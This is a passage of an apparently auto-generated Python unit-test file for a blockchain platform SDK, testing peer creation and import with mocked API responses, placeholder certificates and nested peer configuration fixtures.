hsm = hsm_model
region = '-'
version = '1.4.6-1'
# Invoke method
response = service.create_peer(
msp_id,
display_name,
crypto,
id=id,
config_override=config_override,
resources=resources,
storage=storage,
zone=zone,
state_db=state_db,
tags=tags,
hsm=hsm,
region=region,
version=version,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['msp_id'] == 'Org1'
assert req_body['display_name'] == 'My Peer'
assert req_body['crypto'] == crypto_object_model
assert req_body['id'] == 'component1'
assert req_body['config_override'] == config_peer_create_model
assert req_body['resources'] == peer_resources_model
assert req_body['storage'] == create_peer_body_storage_model
assert req_body['zone'] == '-'
assert req_body['state_db'] == 'couchdb'
assert req_body['tags'] == ['fabric-ca']
assert req_body['hsm'] == hsm_model
assert req_body['region'] == '-'
assert req_body['version'] == '1.4.6-1'
@responses.activate
def test_create_peer_value_error(self):
"""
test_create_peer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-peer')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a CryptoObjectEnrollmentCa model
crypto_object_enrollment_ca_model = {}
crypto_object_enrollment_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_ca_model['port'] = 7054
crypto_object_enrollment_ca_model['name'] = 'ca'
crypto_object_enrollment_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_ca_model['enroll_id'] = 'admin'
crypto_object_enrollment_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a CryptoObjectEnrollmentTlsca model
crypto_object_enrollment_tlsca_model = {}
crypto_object_enrollment_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_tlsca_model['port'] = 7054
crypto_object_enrollment_tlsca_model['name'] = 'tlsca'
crypto_object_enrollment_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_tlsca_model['enroll_id'] = 'admin'
crypto_object_enrollment_tlsca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a CryptoObjectEnrollment model
crypto_object_enrollment_model = {}
crypto_object_enrollment_model['component'] = crypto_enrollment_component_model
crypto_object_enrollment_model['ca'] = crypto_object_enrollment_ca_model
crypto_object_enrollment_model['tlsca'] = crypto_object_enrollment_tlsca_model
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a MspCryptoComp model
msp_crypto_comp_model = {}
msp_crypto_comp_model['ekey'] = 'testString'
msp_crypto_comp_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_comp_model['tls_key'] = 'testString'
msp_crypto_comp_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['client_auth'] = client_auth_model
# Construct a dict representation of a MspCryptoCa model
msp_crypto_ca_model = {}
msp_crypto_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a CryptoObjectMsp model
crypto_object_msp_model = {}
crypto_object_msp_model['component'] = msp_crypto_comp_model
crypto_object_msp_model['ca'] = msp_crypto_ca_model
crypto_object_msp_model['tlsca'] = msp_crypto_ca_model
# Construct a dict representation of a CryptoObject model
crypto_object_model = {}
crypto_object_model['enrollment'] = crypto_object_enrollment_model
crypto_object_model['msp'] = crypto_object_msp_model
# Construct a dict representation of a ConfigPeerKeepaliveClient model
config_peer_keepalive_client_model = {}
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepaliveDeliveryClient model
config_peer_keepalive_delivery_client_model = {}
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepalive model
config_peer_keepalive_model = {}
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
# Construct a dict representation of a ConfigPeerGossipElection model
config_peer_gossip_election_model = {}
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
# Construct a dict representation of a ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy model
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {}
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
# Construct a dict representation of a ConfigPeerGossipPvtData model
config_peer_gossip_pvt_data_model = {}
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
# Construct a dict representation of a ConfigPeerGossipState model
config_peer_gossip_state_model = {}
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
# Construct a dict representation of a ConfigPeerGossip model
config_peer_gossip_model = {}
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
# Construct a dict representation of a ConfigPeerAuthentication model
config_peer_authentication_model = {}
config_peer_authentication_model['timewindow'] = '15m'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigPeerClient model
config_peer_client_model = {}
config_peer_client_model['connTimeout'] = '2s'
# Construct a dict representation of a ConfigPeerDeliveryclientAddressOverridesItem model
config_peer_deliveryclient_address_overrides_item_model = {}
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
# Construct a dict representation of a ConfigPeerDeliveryclient model
config_peer_deliveryclient_model = {}
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
# Construct a dict representation of a ConfigPeerAdminService model
config_peer_admin_service_model = {}
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
# Construct a dict representation of a ConfigPeerDiscovery model
config_peer_discovery_model = {}
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
# Construct a dict representation of a ConfigPeerLimitsConcurrency model
config_peer_limits_concurrency_model = {}
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
# Construct a dict representation of a ConfigPeerLimits model
config_peer_limits_model = {}
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
# Construct a dict representation of a ConfigPeerGateway model
config_peer_gateway_model = {}
config_peer_gateway_model['enabled'] = True
# Construct a dict representation of a ConfigPeerCreatePeer model
config_peer_create_peer_model = {}
config_peer_create_peer_model['id'] = 'john-doe'
config_peer_create_peer_model['networkId'] = 'dev'
config_peer_create_peer_model['keepalive'] = config_peer_keepalive_model
config_peer_create_peer_model['gossip'] = config_peer_gossip_model
config_peer_create_peer_model['authentication'] = config_peer_authentication_model
config_peer_create_peer_model['BCCSP'] = bccsp_model
config_peer_create_peer_model['client'] = config_peer_client_model
config_peer_create_peer_model['deliveryclient'] = config_peer_deliveryclient_model
config_peer_create_peer_model['adminService'] = config_peer_admin_service_model
config_peer_create_peer_model['validatorPoolSize'] = 8
config_peer_create_peer_model['discovery'] = config_peer_discovery_model
config_peer_create_peer_model['limits'] = config_peer_limits_model
config_peer_create_peer_model['gateway'] = config_peer_gateway_model
# Construct a dict representation of a ConfigPeerChaincodeGolang model
config_peer_chaincode_golang_model = {}
config_peer_chaincode_golang_model['dynamicLink'] = False
# Construct a dict representation of a ConfigPeerChaincodeExternalBuildersItem model
config_peer_chaincode_external_builders_item_model = {}
config_peer_chaincode_external_builders_item_model['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model['environmentWhitelist'] = ['GOPROXY']
# Construct a dict representation of a ConfigPeerChaincodeSystem model
config_peer_chaincode_system_model = {}
config_peer_chaincode_system_model['cscc'] = True
config_peer_chaincode_system_model['lscc'] = True
config_peer_chaincode_system_model['escc'] = True
config_peer_chaincode_system_model['vscc'] = True
config_peer_chaincode_system_model['qscc'] = True
# Construct a dict representation of a ConfigPeerChaincodeLogging model
config_peer_chaincode_logging_model = {}
config_peer_chaincode_logging_model['level'] = 'info'
config_peer_chaincode_logging_model['shim'] = 'warning'
config_peer_chaincode_logging_model['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
# Construct a dict representation of a ConfigPeerChaincode model
config_peer_chaincode_model = {}
config_peer_chaincode_model['golang'] = config_peer_chaincode_golang_model
config_peer_chaincode_model['externalBuilders'] = [config_peer_chaincode_external_builders_item_model]
config_peer_chaincode_model['installTimeout'] = '300s'
config_peer_chaincode_model['startuptimeout'] = '300s'
config_peer_chaincode_model['executetimeout'] = '30s'
config_peer_chaincode_model['system'] = config_peer_chaincode_system_model
config_peer_chaincode_model['logging'] = config_peer_chaincode_logging_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigPeerCreate model
config_peer_create_model = {}
config_peer_create_model['peer'] = config_peer_create_peer_model
config_peer_create_model['chaincode'] = config_peer_chaincode_model
config_peer_create_model['metrics'] = metrics_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObjectFabV2 model
resource_object_fab_v2_model = {}
resource_object_fab_v2_model['requests'] = resource_requests_model
resource_object_fab_v2_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectCouchDb model
resource_object_couch_db_model = {}
resource_object_couch_db_model['requests'] = resource_requests_model
resource_object_couch_db_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectFabV1 model
resource_object_fab_v1_model = {}
resource_object_fab_v1_model['requests'] = resource_requests_model
resource_object_fab_v1_model['limits'] = resource_limits_model
# Construct a dict representation of a PeerResources model
peer_resources_model = {}
peer_resources_model['chaincodelauncher'] = resource_object_fab_v2_model
peer_resources_model['couchdb'] = resource_object_couch_db_model
peer_resources_model['statedb'] = resource_object_model
peer_resources_model['dind'] = resource_object_fab_v1_model
peer_resources_model['fluentd'] = resource_object_fab_v1_model
peer_resources_model['peer'] = resource_object_model
peer_resources_model['proxy'] = resource_object_model
# Construct a dict representation of a StorageObject model
storage_object_model = {}
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a dict representation of a CreatePeerBodyStorage model
create_peer_body_storage_model = {}
create_peer_body_storage_model['peer'] = storage_object_model
create_peer_body_storage_model['statedb'] = storage_object_model
# Construct a dict representation of a Hsm model
hsm_model = {}
hsm_model['pkcs11endpoint'] = 'tcp://example.com:666'
# Set up parameter values
msp_id = 'Org1'
display_name = 'My Peer'
crypto = crypto_object_model
id = 'component1'
config_override = config_peer_create_model
resources = peer_resources_model
storage = create_peer_body_storage_model
zone = '-'
state_db = 'couchdb'
tags = ['fabric-ca']
hsm = hsm_model
region = '-'
version = '1.4.6-1'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"msp_id": msp_id,
"display_name": display_name,
"crypto": crypto,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.create_peer(**req_copy)
class TestImportPeer():
"""
Test Class for import_peer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_import_peer_all_params(self):
"""
import_peer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-peer')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a MspCryptoFieldCa model
msp_crypto_field_ca_model = {}
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldTlsca model
msp_crypto_field_tlsca_model = {}
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldComponent model
msp_crypto_field_component_model = {}
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoField model
msp_crypto_field_model = {}
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
# Set up parameter values
display_name = 'My Peer'
grpcwp_url = 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
msp = msp_crypto_field_model
msp_id = 'Org1'
id = 'component1'
api_url = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
location = 'ibmcloud'
operations_url = 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
tags = ['fabric-ca']
# Invoke method
response = service.import_peer(
display_name,
grpcwp_url,
msp,
msp_id,
id=id,
api_url=api_url,
location=location,
operations_url=operations_url,
tags=tags,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['display_name'] == 'My Peer'
assert req_body['grpcwp_url'] == 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
assert req_body['msp'] == msp_crypto_field_model
assert req_body['msp_id'] == 'Org1'
assert req_body['id'] == 'component1'
assert req_body['api_url'] == 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
assert req_body['location'] == 'ibmcloud'
assert req_body['operations_url'] == 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
assert req_body['tags'] == ['fabric-ca']
@responses.activate
def test_import_peer_value_error(self):
"""
test_import_peer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-peer')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a MspCryptoFieldCa model
msp_crypto_field_ca_model = {}
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldTlsca model
msp_crypto_field_tlsca_model = {}
